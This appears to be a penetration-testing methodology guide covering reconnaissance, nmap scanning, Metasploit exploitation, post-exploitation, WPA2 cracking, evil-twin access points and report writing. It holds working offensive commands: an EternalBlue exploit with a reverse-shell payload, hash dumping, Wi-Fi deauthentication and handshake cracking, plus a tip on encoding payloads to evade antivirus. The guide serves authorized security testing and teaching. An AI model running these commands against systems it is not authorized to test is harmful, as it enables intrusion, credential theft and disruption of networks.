Skip to content

Penetration Testing Methodology

End-to-end penetration testing workflow: reconnaissance (passive and active), scanning, exploitation with Metasploit, post-exploitation, and professional reporting. Covers infrastructure, network, and wireless attack vectors.

Key Facts

  • Pentesting phases: Recon -> Scanning -> Exploitation -> Post-Exploitation -> Reporting
  • Passive recon (Shodan, DNS, OSINT) is undetectable by target
  • nmap SYN scan (-sS) is the default stealth scan with root privileges
  • Metasploit staged payloads are smaller but require callback; stageless are self-contained
  • Reverse shells bypass ingress firewalls (target connects to attacker)
  • Report structure: Executive Summary -> Scope -> Findings (severity-sorted) -> Evidence -> Remediation

Reconnaissance

Passive (No Target Contact)

# DNS enumeration
dig example.com ANY
dig axfr @ns1.example.com example.com   # Zone transfer attempt
dnsenum example.com

# Subdomain discovery
sublist3r -d example.com
amass enum -d example.com

# Email/IP harvesting
theHarvester -d example.com -b google,bing,linkedin -l 500

Additional passive sources: Shodan, Certificate Transparency (crt.sh), WHOIS, Google Dorking (site:example.com filetype:pdf).

Active (Detectable)

Port scanning, banner grabbing, directory brute-forcing: 

# Directory enumeration
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
ffuf -w wordlist.txt -u http://target.com/FUZZ

Scanning

nmap

nmap -sS target              # SYN scan (stealth, requires root)
nmap -sT target              # TCP connect (no root needed)
nmap -sU target              # UDP scan
nmap -sV target              # Service version detection
nmap -O target               # OS detection
nmap -A target               # Aggressive (OS + version + scripts + traceroute)
nmap -p- target              # All 65535 ports
nmap -sn 10.0.0.0/24        # Host discovery only (ping sweep)
nmap -Pn target              # Skip host discovery

# NSE Scripts
nmap --script vuln target                    # All vulnerability scripts
nmap --script smb-vuln-ms17-010 target       # Specific CVE check
nmap --script http-enum target               # HTTP directory enum
nmap --script "smb-*" target                 # All SMB scripts

Vulnerability Scanning

  • Nessus - commercial, most widely used
  • OpenVAS/GVM - open-source alternative
  • Authenticated scans are far more thorough than unauthenticated
  • False positive management is critical - verify before reporting

Exploitation

Metasploit Framework

msfconsole
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 10.0.0.5
set LHOST 10.0.0.1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

# Meterpreter post-exploitation
sysinfo                              # System info
getuid / getsystem                   # Current user / privesc attempt
hashdump                             # Dump password hashes
shell                                # OS shell
upload /local/file /remote/path
download /remote/file /local/path
portfwd add -l 8080 -p 80 -r 10.0.0.10   # Port forwarding

Payload Types

  • Staged (windows/meterpreter/reverse_tcp) - small stager downloads full payload
  • Stageless (windows/meterpreter_reverse_tcp) - full payload in one binary
  • Reverse shell - target connects back to attacker (bypasses ingress firewall)
  • Bind shell - target opens port, attacker connects

Wireless Attacks

WPA2 Cracking

airmon-ng start wlan0                           # Monitor mode
airodump-ng wlan0mon                            # Discover networks
airodump-ng -c CHANNEL --bssid BSSID -w capture wlan0mon  # Target capture
aireplay-ng -0 5 -a BSSID wlan0mon             # Deauth (force handshake)
aircrack-ng -w wordlist.txt capture-01.cap     # Crack

# GPU-accelerated cracking
hcxpcapngtool capture-01.cap -o hash.hc22000
hashcat -m 22000 hash.hc22000 wordlist.txt

Rogue AP / Evil Twin

Clone legitimate AP SSID, serve captive portal to capture credentials. Tools: hostapd + dnsmasq.

Social Engineering

  • Spear phishing - targeted emails with malicious links/attachments
  • Whaling - targeting executives
  • Vishing - phone-based social engineering
  • Pretexting - fabricated scenario (impersonating IT, vendor)
  • Tools: GoPhish, King Phisher

Report Writing

Finding Severity

Severity Examples
Critical RCE, auth bypass, domain admin compromise
High Privilege escalation, sensitive data exposure, SQLi
Medium Stored XSS, CSRF, information disclosure
Low Missing headers, verbose errors, outdated software (no known exploit)
Info Best practice recommendations

Each finding needs: description, business risk, step-by-step remediation, verification steps.

Gotchas

  • Always have written authorization (scope, rules of engagement) before testing
  • Exploitation of one vulnerability may crash the service - test in maintenance windows when possible
  • Default Metasploit payloads are detected by most AV/EDR - custom/encoded payloads needed for real engagements
  • Unauthenticated nmap scans miss many vulnerabilities that authenticated scans find
  • Network scanning can trigger IDS/IPS alerts and automated blocking (fail2ban)

See Also